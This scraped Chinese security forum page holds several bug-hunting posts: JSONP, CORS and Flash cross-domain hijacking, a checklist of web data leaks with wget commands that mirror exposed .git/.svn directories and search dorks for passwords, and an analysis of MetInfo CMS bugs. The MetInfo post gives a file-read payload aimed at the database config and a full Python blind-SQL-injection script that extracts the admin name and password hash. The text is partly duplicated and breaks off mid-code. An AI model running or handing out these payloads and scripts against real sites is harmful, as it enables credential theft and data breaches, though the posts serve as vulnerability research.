而且在标准浏览器发送一个正常的的跨域资源请求时,通常会在http请求头部带上 Origin,同时将当前的所有参数删除,仅保留三元组(协议 主机 端口),例如在ajax操作时就会产生。
 
1)如何验证?
验证方式很简单,直接修改Origin然后看响应包是否有相应变化即可。(自己没环境,来一张网图)





可以发现在响应包中头部有这样的回显:
Access-Control-Allow-Origin://gh0st.cn这样也就意味着对gh0st.cn站点允许调用资源,同时也就验证可以该漏洞存在。
 
2)如何利用?
对于CORS的利用可以使用GitHub上的发布的CrossSiteContentHijacking
github : https://github.com/nccgroup/CrossSiteContentHijacking
直接克隆下来放在自己自己的环境中就可以用了
真实案例:
这是在点击某个功能发送所有请求报中的一个,可以看到返响应包返回了个人敏感信息并且!
Access-Control-Allow-Origin:*










 
这直接就是对所有人开放,都可以调用该数据 
打开本地搭建的环境





 
填好参数后开始





这样就能够调出回显信息了。
 
0x03 Flash跨域劫持
在做Web目录收集时,会搜集到以下资产 crossdomain.xml  打开之后是:





 
如果是设置为:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
 
那么他就会有问题,先看他的流程:
AAA.com 有一个SWF文件,这个文件是想要获取 BBB.com 的 userinfo 的返回响应主体,SWF首先会看在  BBB.com 的服务器目录下有没有 crossdomain.xml 文件,如果没有就会访问不成功,如果有 crossdomain.xml ,则会看crossdomain.xml 文件的内容里面是否设置了允许 AAA.com 域访问,如果设置允许了,那么 AAA.com 的SWF文件就可以成功获取到内容。所以要使Flash可以跨域传输数据,其关键就是crossdomain.xml 文件。
当你发现 crossdomain.xml 文件的内容为我如上所示的内容,那么就是存在Flash跨域劫持。
 
利用手法也是使用上面CORS同样的环境,由于没环境还是来自网图
(https://github.com/nccgroup/CrossSiteContentHijacking/raw/master/ContentHijacking/objects/ContentHijacking.swf)





 
0x04 总结
跨域劫持在本质上说也不能够完全说是漏洞,而是由于开发者为了自己的便捷或者疏忽才造成的,并且劫持的信息也必须是敏感信息或者是其他重要的数据时才能形成足够大的危害。如果只是单一的跨域劫持可能并不能有什么威胁感,但是如果和存储型XSS利用在一起组成XSS+跨域劫持的组合拳的话,对服务器来说虽然没什么危害,但对于广大用户来说却是致命的存在。而在挖掘的过程中,此类漏洞也需要细心和耐心才能察觉,而高级利用的手法也需要更多的去学习了~
 
XSS + 跨域劫持 的高级利用:https://www.freebuf.com/articles/web/204023.html 
JSONP + XSS + URL跳转 :  https://www.secpulse.com/archives/74691.html
 
如果理解有误,请各位师傅指正 QAQ 查看全部
0x00 同源策略
以下三种漏洞的利用原理都和同源策略有关系,所以我们先回顾一下同源策略的内容
1)含义


1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。
最初,它的含义是指,A网页设置的 Cookie,B网页不能打开,除非这两个网页"同源"。所谓"同源"指的是"三个相同"


(1)协议相同
(2)域名相同
(3)端口相同
 
举个栗子(以 http://www.a.com  为例):
http://www.a.com/a.html    同源
https://www.a.com/a.html 不同源:协议不同
http://a.com/a.html 不同源:域名不同
http://info.a.com/a.html 不同源:域名不同
http://www.a.com:81/a.html 不同源:端口不同

2)限制了什么?
(1) Cookie、LocalStorage 和 IndexDB 无法读取。
(2) DOM 无法获得。
(3) AJAX 请求不能发送。

0x01 JSONP劫持


JSONP(JSON with Padding)是JSON的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,而 HTML 的<script> 元素是一个例外。利用 <script> 元素的这个开放策略,网页可以得到从其他来源动态产生的 JSON 资料,而这种使用模式就是所谓的 JSONP。用 JSONP 抓到的资料并不是 JSON,而是任意的JavaScript,用 JavaScript 直译器执行而不是用 JSON 解析器解析。    ----百度百科


 
简单的来说,jsonp就是为了能够跨域调用而使用的一种格式。这种格式大大方便了Web应用程序开发时的数据传输问题,但同时也就产生了问题。现在我们想象一下,json格式可以被程序员轻松跨域调用,我们是不是也可以调用了?而如果在传递个人敏感信息的过程中如果使用了json格式,这时我们再进行劫持得到的信息是不是就会很有意思了?
jsonp讲解:https://blog.csdn.net/hansexploration/article/details/80314948
 
ps:
JSON是一种数据交换格式
JSONP是一种依靠开发人员的聪明才智创造出的一种非官方跨域数据交互协议。

1)如何劫持?
先看一段普通的请求

1.png

 
我们再来看看jsonp是如何实现的
<script type="text/javascript">
function CustomerLoaded(result,methodName)
{
var html='<ul>';
for(var i=0;i<result.length;i++)
{
html+='<li>'+result[i]+'</li>';
}
html+='</ul>';
document.getElementById('divCustomers').innerHTML=html;
}
</script>

这就是jsonp利用的方法,自定义一个函数,并且以json格式返回。而在大部分函数定义时通常使用的函数名一般都是callback。
Javascript原函数定义如下:
function funName(){}
这里是缺少了函数定义的关键词 function 和花括号的函数主体部分,只有函数名和函数传参,聪明人已经想到了,这不就相当于是自定义函数被引用了么,而中间那段传参就相当于是一个数组,所以我们可以先用JS自定义好这个函数,然后再引用这个请求,自然就可以获取到数据了。
<script>function jsonp_1550771758232_74857(data){alert(JSON.stringify(data));}</script>
<script src="https://m.58.com/sublocals/?cityname=jms&callback=jsonp_1550771758232_74857"></script>

本地浏览器打开

2.png

至此我们就完成了一次简单的jsonp劫持。
另一个案例:
https://gh0st.cn/archives/2018-07-25/1
 
0x02 CORS 跨域资源共享


跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。


而且在标准浏览器发送一个正常的的跨域资源请求时,通常会在http请求头部带上 Origin,同时将当前的所有参数删除,仅保留三元组(协议 主机 端口),例如在ajax操作时就会产生。
 
1)如何验证?
验证方式很简单,直接修改Origin然后看响应包是否有相应变化即可。(自己没环境,来一张网图)

3.png

可以发现在响应包中头部有这样的回显:
Access-Control-Allow-Origin://gh0st.cn
这样也就意味着对gh0st.cn站点允许调用资源,同时也就验证可以该漏洞存在。
 
2)如何利用?
对于CORS的利用可以使用GitHub上的发布的CrossSiteContentHijacking
github : https://github.com/nccgroup/CrossSiteContentHijacking
直接克隆下来放在自己自己的环境中就可以用了
真实案例:
这是在点击某个功能发送所有请求报中的一个,可以看到返响应包返回了个人敏感信息并且!
Access-Control-Allow-Origin:*


4.png


5.png

 
这直接就是对所有人开放,都可以调用该数据 
打开本地搭建的环境

6.png

 
填好参数后开始

7.png

这样就能够调出回显信息了。
 
0x03 Flash跨域劫持
在做Web目录收集时,会搜集到以下资产 crossdomain.xml  打开之后是:

8.png

 
如果是设置为:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

 
那么他就会有问题,先看他的流程:
AAA.com 有一个SWF文件,这个文件是想要获取 BBB.com 的 userinfo 的返回响应主体,SWF首先会看在  BBB.com 的服务器目录下有没有 crossdomain.xml 文件,如果没有就会访问不成功,如果有 crossdomain.xml ,则会看crossdomain.xml 文件的内容里面是否设置了允许 AAA.com 域访问,如果设置允许了,那么 AAA.com 的SWF文件就可以成功获取到内容。所以要使Flash可以跨域传输数据,其关键就是crossdomain.xml 文件。
当你发现 crossdomain.xml 文件的内容为我如上所示的内容,那么就是存在Flash跨域劫持。
 
利用手法也是使用上面CORS同样的环境,由于没环境还是来自网图
https://github.com/nccgroup/CrossSiteContentHijacking/raw/master/ContentHijacking/objects/ContentHijacking.swf)

9.png

 
0x04 总结
跨域劫持在本质上说也不能够完全说是漏洞,而是由于开发者为了自己的便捷或者疏忽才造成的,并且劫持的信息也必须是敏感信息或者是其他重要的数据时才能形成足够大的危害。如果只是单一的跨域劫持可能并不能有什么威胁感,但是如果和存储型XSS利用在一起组成XSS+跨域劫持的组合拳的话,对服务器来说虽然没什么危害,但对于广大用户来说却是致命的存在。而在挖掘的过程中,此类漏洞也需要细心和耐心才能察觉,而高级利用的手法也需要更多的去学习了~
 
XSS + 跨域劫持 的高级利用:https://www.freebuf.com/articles/web/204023.html 
JSONP + XSS + URL跳转 :  https://www.secpulse.com/archives/74691.html
 
如果理解有误,请各位师傅指正 QAQ

判定敏感数据小结

lzy_smile 发表了文章 • 0 个评论 • 395 次浏览 • 2019-12-13 12:00 • 来自相关话题

我们在对某些网站进行渗透的时候,经常在发现某些信息的时候无法判断其是否是敏感信息,由此写出这篇文章.如果文章中有不足之处,请在文章下面留言,
 
敏感数据包括但不限于:
口令、密钥、证书、会话标识、License、隐私数据(如短消息的内容)、授权凭据、个人数据(如姓名、住址、电话等)等,在程序文件、配置文件、日志文件、备份文件及数据库中都有可能包含敏感数据。主要分为由版本管理软件导致的泄露, 文件包含导致的泄露和配置错误导致的泄露.
 
web敏感信息泄露
1.备份文件泄漏在外网
编辑器或者人员在编辑文件时,产生的临时文件,如vim自动保存为.swp后缀、UltrlEditor自动保存.bak后缀等,这些文件会泄漏源代码或者敏感信息
http://[ip]/test.php.swp vim保存的
http://[ip]/test.php.bak UltrlEditor自动保存





 
http://[ip]/test.jsp.old
OLD是某些文件发生变化时系统自动将改动前的文件变成OLD文件.这些文件包含的是原来的系统的文件
 
诸如wwwroot.zip等网站的备份压缩文件





 
.sql文件 等数据库文件 寻找数据库的用户名和密码以及后台的管理的用户名和密码
 
2.HTTP认证漏洞泄露
http://[ip]/basic/index.php
[Web 目录开启了Http Basic认证,但是未限制IP,导致可暴力破解账号和密码]
 
3.版本管理软件造成的泄露
(1).git
git可以说是当今最受欢迎的版本控制/版本管理软件了, 很多基于git的云端托管仓库都提供了
免费的托管服务, 甚至有不少还支持免费私有仓库, 如bitbucket和国内的gitosc(开源中国)等.
 
关键文件
git在初始化项目的时候, 会在项目的根目录(可用git rev-parse --show-toplevel查看)创建一个名为
.git的隐藏文件夹, 里面包含了本地所有commit的历史记录. 如果无意间将这个目录置于WEB的路径下让用户可以访问,
那么也就泄露了几乎所有的源代码和其他其他敏感信息.
 
泄露内容
所有该项目的源代码
私有仓库的地址
私密的配置信息
所有commiter的邮箱帐号信息
(可能)内部的帐号和密码
利用方法
1.常规的利用方法就是下载整个目录, 然后用git命令回滚整个项目:
wget --mirror --include-directories=/.git http://www.xxxvou.com/.git





 
2.GitHack是.git文件夹泄露漏洞。它从.git文件夹重建源代码,同时保持目录结构不变。
这是个python文件,可以直接打包下载





 
下载地址:https://github.com/lijiejie/GitHack
寻找.git目录
1.扫描工具可以扫出来.7kbscan
2.使用插件.SensinfoFinder
https://github.com/Passer6y/SensinfoFinder.git
(2).svn,
即Subversion, 在github之前曾经也是炙手可热的版本管理工具, 虽然已经日渐式微, 但在很多国企,
研究院等地方依然是作为版本管理的主要工具. 对于一些历史悠久的项目, 比如LLVM, 出于历史原因,
也是主要使用svn管理源代码.
关键文件
svn同样在项目根目录下会创建一个名为.svn的隐藏文件夹, 包含了所有分支commit信息和代码记录.
泄露内容
所有该项目的源代码
svn仓库的地址
svn仓库所属用户的用户名
...
利用方法
同样是先下载目录, 然后回滚:
wget -r --no-parent --mirror http://www.example.com/.svn
 
.DS_Store文件泄露(mac os系统)
.DS_Store(Desktop Services Store)是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,
如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.
可以说是比较严重的泄露.
利用方法
.DS_Store的格式为二进制, 内部数据结构为Proprietary格式,
可以使用ds_store_exp自行解析并递归下载所有文件,下载地址:
https://github.com/lijiejie/ds_store_exp
 
4.泄露邮箱、号码等生成爆破字典
 
5.错误页面暴露信息





 
6.mysql错误、php错误、暴露CMS版本类型等
某大型网站的sql语句报错





 
7.robots.txt
某li的robots.txt





 
 
网络信息泄露
 
运维监控系统弱口令、网络拓扑泄露等
对于很多大型公司来讲,网络的稳定性,会直接影响到公司的收益。
比如,双十一的阿里巴巴,京东等等。如果这个时候网络出现问题,对于公司的损失将会是不可估量的。
所以获取到他内部的网络拓扑图的更容易让攻击者对其进行渗透.
 
 










 
第三方软件应用
github上源码、数据库、邮箱密码泄露
Github搜索
搜索关键字
qq.com pass
这个sql文件包含了用户的敏感信息,





 
数据库信息
mssql pass +目标名称
 





 
第三方社交软件:qq和微信等.
某些测试的qq群可能会把一些测试用的账号给传上去,还有一些文档,可能包含敏感信息







 
 
Google搜索
Google搜索名称 说明 例子
intitle 标题中的关键字 intile:”锤子科技”
intext 正文中的关键字 intext:”xx公司后台”
inurl 域名 inurl:”/qq.com”
filetype 文件类型 filetype:pdf
 
在平常对某些目标进行漏洞挖掘的时候,可以参考本篇文章判断拿到的信息是否为敏感信息.当然可以参考文章中的敏感信息分类,对目标进行进一步的信息收集.当然在信息收集的时候,要注意.文中提到的第三方软件像QQ和微信等方式,在使用之前要先了解SRC是否允许使用该种手段. 查看全部
我们在对某些网站进行渗透的时候,经常在发现某些信息的时候无法判断其是否是敏感信息,由此写出这篇文章.如果文章中有不足之处,请在文章下面留言,
 
敏感数据包括但不限于:
口令、密钥、证书、会话标识、License、隐私数据(如短消息的内容)、授权凭据、个人数据(如姓名、住址、电话等)等,在程序文件、配置文件、日志文件、备份文件及数据库中都有可能包含敏感数据。主要分为由版本管理软件导致的泄露, 文件包含导致的泄露和配置错误导致的泄露.
 
web敏感信息泄露
1.备份文件泄漏在外网
编辑器或者人员在编辑文件时,产生的临时文件,如vim自动保存为.swp后缀、UltrlEditor自动保存.bak后缀等,这些文件会泄漏源代码或者敏感信息
http://[ip]/test.php.swp vim保存的
http://[ip]/test.php.bak UltrlEditor自动保存

1.png

 
http://[ip]/test.jsp.old
OLD是某些文件发生变化时系统自动将改动前的文件变成OLD文件.这些文件包含的是原来的系统的文件
 
诸如wwwroot.zip等网站的备份压缩文件

2.png

 
.sql文件 等数据库文件 寻找数据库的用户名和密码以及后台的管理的用户名和密码
 
2.HTTP认证漏洞泄露
http://[ip]/basic/index.php
[Web 目录开启了Http Basic认证,但是未限制IP,导致可暴力破解账号和密码]
 
3.版本管理软件造成的泄露
(1).git
git可以说是当今最受欢迎的版本控制/版本管理软件了, 很多基于git的云端托管仓库都提供了
免费的托管服务, 甚至有不少还支持免费私有仓库, 如bitbucket和国内的gitosc(开源中国)等.
 
关键文件
git在初始化项目的时候, 会在项目的根目录(可用git rev-parse --show-toplevel查看)创建一个名为
.git的隐藏文件夹, 里面包含了本地所有commit的历史记录. 如果无意间将这个目录置于WEB的路径下让用户可以访问,
那么也就泄露了几乎所有的源代码和其他其他敏感信息.
 
泄露内容
所有该项目的源代码
私有仓库的地址
私密的配置信息
所有commiter的邮箱帐号信息
(可能)内部的帐号和密码
利用方法
1.常规的利用方法就是下载整个目录, 然后用git命令回滚整个项目:
wget --mirror --include-directories=/.git http://www.xxxvou.com/.git

3.png

 
2.GitHack是.git文件夹泄露漏洞。它从.git文件夹重建源代码,同时保持目录结构不变。
这是个python文件,可以直接打包下载

4.png

 
下载地址:https://github.com/lijiejie/GitHack
寻找.git目录
1.扫描工具可以扫出来.7kbscan
2.使用插件.SensinfoFinder
https://github.com/Passer6y/SensinfoFinder.git
(2).svn,
即Subversion, 在github之前曾经也是炙手可热的版本管理工具, 虽然已经日渐式微, 但在很多国企,
研究院等地方依然是作为版本管理的主要工具. 对于一些历史悠久的项目, 比如LLVM, 出于历史原因,
也是主要使用svn管理源代码.
关键文件
svn同样在项目根目录下会创建一个名为.svn的隐藏文件夹, 包含了所有分支commit信息和代码记录.
泄露内容
所有该项目的源代码
svn仓库的地址
svn仓库所属用户的用户名
...
利用方法
同样是先下载目录, 然后回滚:
wget -r --no-parent --mirror http://www.example.com/.svn
 
.DS_Store文件泄露(mac os系统)
.DS_Store(Desktop Services Store)是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,
如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.
可以说是比较严重的泄露.
利用方法
.DS_Store的格式为二进制, 内部数据结构为Proprietary格式,
可以使用ds_store_exp自行解析并递归下载所有文件,下载地址:
https://github.com/lijiejie/ds_store_exp
 
4.泄露邮箱、号码等生成爆破字典
 
5.错误页面暴露信息

5.png

 
6.mysql错误、php错误、暴露CMS版本类型等
某大型网站的sql语句报错

6.png

 
7.robots.txt
某li的robots.txt

7.png

 
 
网络信息泄露
 
运维监控系统弱口令、网络拓扑泄露等
对于很多大型公司来讲,网络的稳定性,会直接影响到公司的收益。
比如,双十一的阿里巴巴,京东等等。如果这个时候网络出现问题,对于公司的损失将会是不可估量的。
所以获取到他内部的网络拓扑图的更容易让攻击者对其进行渗透.
 
 

8.png


9.png

 
第三方软件应用
github上源码、数据库、邮箱密码泄露
Github搜索
搜索关键字
qq.com pass
这个sql文件包含了用户的敏感信息,

10.png

 
数据库信息
mssql pass +目标名称
 

11.png

 
第三方社交软件:qq和微信等.
某些测试的qq群可能会把一些测试用的账号给传上去,还有一些文档,可能包含敏感信息


12.png


 
 
Google搜索
Google搜索名称 说明 例子
intitle 标题中的关键字 intile:”锤子科技”
intext 正文中的关键字 intext:”xx公司后台”
inurl 域名 inurl:”/qq.com”
filetype 文件类型 filetype:pdf
 
在平常对某些目标进行漏洞挖掘的时候,可以参考本篇文章判断拿到的信息是否为敏感信息.当然可以参考文章中的敏感信息分类,对目标进行进一步的信息收集.当然在信息收集的时候,要注意.文中提到的第三方软件像QQ和微信等方式,在使用之前要先了解SRC是否允许使用该种手段.

Metinfocms前台漏洞(一)

Einzben 发表了文章 • 1 个评论 • 364 次浏览 • 2019-12-06 10:57 • 来自相关话题

cms类型判断
robots.txt文件
robots.txt文件我们写过爬虫的就知道,这个文件是告诉我们哪些目录是禁止爬取的。但是大部分的时候我们都能通过robots.txt文件来判断出cms的类型
从wp路径可以看出这个是WordPress的CMS





 
WordPress
这个就比较明显了直接告诉我们是PageAdmin cms





 
PageAdmin CMS
有些robots.txt里面写得不是很清楚。我们看看织梦的





 
dedeCMS
从robots.txt不能直接看出来是什么cms,我们就直接把他复制到百度去查询





 
这样就找到是织梦CMS
通过版权信息进行查询
一般直接拉到底部查看版权信息,有些站点会显示出来,比如织梦这个




版权信息
通过查看网页源码的方式
有些站点没有robot.txt,也把版本信息改了,这时候首页查看网页源码可能找得到,如图





米拓cms
一款免费开源的企业级 CMS, 采用 PHP + Mysql 架构,是一款对 SEO 非常友好、功能全面、支持可视化编辑、多语言、响应式展示,极其适合企业网站建设的 cms 建站系统。致力于打造中小企业优质的互联网信息化工具供应平台
0x01任意文件读取
漏洞分析
漏洞文件 app\system\include\module\old_thumb.class.phppublic function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
1 页面建立old_thumb 类,并创建dbshow方法
2 程序首先过滤…/和./两个特殊字符,然后要求字符必须以http开头,并且不能检测到./字符,最后读取文件内容。
3 windows下可以使用…\绕过
漏洞利用
版本 6.0.0http://localhost/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php



0x02sql盲注
漏洞分析
此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞。
漏洞版本 <6.2.0
讲解版本:metinfo6.1.3
漏洞最初产生为:/app/system/user/web/register.class.php 94~107行:




可以看到此函数将 GET,POST,COOKIE,过来的数据经过decode解码后直接赋值给$username变量,然后将此变量带入get_user_valid()函数,跟进:



将此可控变量引入get_user_by_username()函数,跟进:




再次跟进get_user_by_nameid()函数:




此处可以看到,这条SQL语句将未过滤的变量直接带入SQL查询中,于是产生SQL注入漏洞。此处回过头在看看decode函数内容,然后构造payload。




可以看到decode函数与encode函数都会将数据引入authcode函数中,查看此函数:




再看次函数必须的一个参数$this->auth_key = $_M['config']['met_webkeys'];




此处可以看到$_M['config']['met_webkeys']是取随机数,然后在写入config_safe.php中,但此处有一个致命的问题,就是<?php后面没有空格是无法解析的,于是可以查看的到此随机数。




于是,有了$this->auth_key = $_M['config']['met_webkeys']的值之后,就可以随意通过此加密算法构造payload。首先将authcode()函数的内容拷贝至本地稍作更改,如下:<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_GET['str'],'ENCOUDE',$_GET['key'],0)));
?>
访问此文件,$_GET['str']的值为payload,$_GET['key']的值为config_safe.php中的内容,可获取一个加密后的数据,然后将此数据通过GET,POST,COOKIE等方式传入,即可成功利用漏洞。




漏洞利用
测试版本 6.0.0
首先查看config_safe.php生成的值view-source:http://localhost/MetInfo6.0.0/config/config_safe.php
获得




构造payload?str=123%27%20or%20sleep(100)--+&key=k7GPnWTYo15h3uby7PJOEmtbfmIAy8d6
访问运行本地的authcode函数http://localhost/mi.php?str=123%27%20or%20sleep(100)--+&key=k7GPnWTYo15h3uby7PJOEmtbfmIAy8d6


生成



将生成的信息填入localhost/MetInfo6.0.0/admin/index.php?n=user&m=web&c=register&a=doemailvild&p=
访问发现sleep成功
利用脚本#coding=utf-8
import requests
import re
import sys
import time


#获取config_safe.php中的 key
def getKey(url,headers,local_url):
try:
url_key = url + "/config/config_safe.php"
rsp = requests.get(url_key,headers)
p = re.compile(r'<\?php\/\*(.*)\*\/\?>')
p1 = p.findall(rsp.text)
key = p1[0]
databaseLen(key,headers,local_url,url)
except:
sys.exit("The website is secure!!")
#获取数据库长度
def databaseLen(key,headers,local_url,url):
for str in range(1,21):
len = '%d'%str
payload = "1%27%20or%20if((select%20length(database())="+ len +"),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
databaseName(len,key,headers,local_url,url)
#爆出数据库名
def databaseName(len,key,headers,local_url,url):
len = int(len)
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加字符量
database_name = ''
for i in range(len):
ch = i + 1
ch = '%d'%ch
for char in chars:
payload = "1%27%20or%20if((select%20mid(database(),"+ ch +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
database_name = database_name + char
print("数据库名字为:%s"%database_name)
adminName(database_name,key,headers,local_url,url)
#爆出管理员用户名
def adminName(database_name,key,headers,local_url,url):
#首先爆用户名长度
for i in range(1,20):
len = '%d'%i
payload_len = "%27%20or%20if(((select%20length(admin_id)%20from%20"+ database_name +".met_admin_table%20limit%200,1)="+ len +"),sleep(5),1)%23"
back_len = queryKey(key,headers,payload_len,local_url,url)
if back_len is True:
break
#在爆出用户名
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加
admin_name = ''
for x in range(i):
str = '%d'%(x+1)
for char in chars:
payload_str = "1%27%20or%20if((mid((select%20admin_id%20from%20"+ database_name +".met_admin_table%20limit%200,1),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload_str,local_url,url)
if back_str is True:
admin_name = admin_name + char
break
print("管理员用户名为:%s"%admin_name)
adminPass(key,headers,local_url,url,database_name,admin_name)
#爆管理员密码
def adminPass(key,headers,local_url,url,database_name,admin_name):
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.'#可自行添加
admin_pass = ''
for i in range(1,33):
str = '%d'%i
for char in chars:
payload = "1%27%20or%20if((mid((select%20admin_pass%20from%20"+ database_name +".met_admin_table%20where%20admin_id=%27"+ admin_name +"%27),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"
back_str = queryKey(key,headers,payload,local_url,url)
if back_str is True:
break
admin_pass = admin_pass + char
print("管理员密码md5为:%s"%admin_pass)
#获取encode后的数据
def queryKey(key,headers,str,local_url,url):
payload = "key="+key+"&str="+str
rsp = requests.post(local_url,headers = headers,data = payload)
# str = rsp.url
# data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')
# print(data)
return getTestUrl(url,rsp.text,headers)
#获取需要测试的URL
def getTestUrl(url,payload,headers):
params = "p="+payload
test_url = url + "/admin/index.php?n=user&m=web&c=register&a=doemailvild"
return getData(test_url,params,headers)
#获取数据
def getData(url,params,headers):
startTime = time.time();
rsp = requests.post(url,data=params,headers=headers)
if time.time() - startTime > 4:
return True
else:
pass
if __name__ == '__main__':
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"en-US,en;q=0.5"
}
url = input("please input URL:")
if "http://" or "https://" in url:
local_url = input("请输入本地搭建的encode函数地址:")
getKey(url,headers,local_url)
else:
print("please input the correct url!!")  
本地搭建的encode函数:<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));



 
0x03变量覆盖漏洞
漏洞详情简介
变量覆盖漏洞大多数由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract(),parse_str()和import_request_variables() $$使用不当
影响版本 :5.3.
代码分析
1. metinfo\include\common.inc.phpforeach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
这里注意$$request造成变量覆盖 ,代码中使用 $_request 来获取用户信息,代码主要是用于遍历初始化变量,所以很有可能会出现变量覆盖。代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,此处还使用自定义函数 daddslashes() 对变量值进行处理。 作用是获取参数很方便
在一简单的题中:
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?id=1 会将id的值覆盖,id的值覆盖,id=1。<?php
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
$id = isset($id) ? $id : 2;
if($id == 1) {
echo "flag{xxxxxxxxxx}";
die();
}
echo $id;
?>
浏览器执行 http://127.0.0.1/test.php?id=1




2. 代码中查找 daddslashes() 函数/*POST变量转换*/
function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
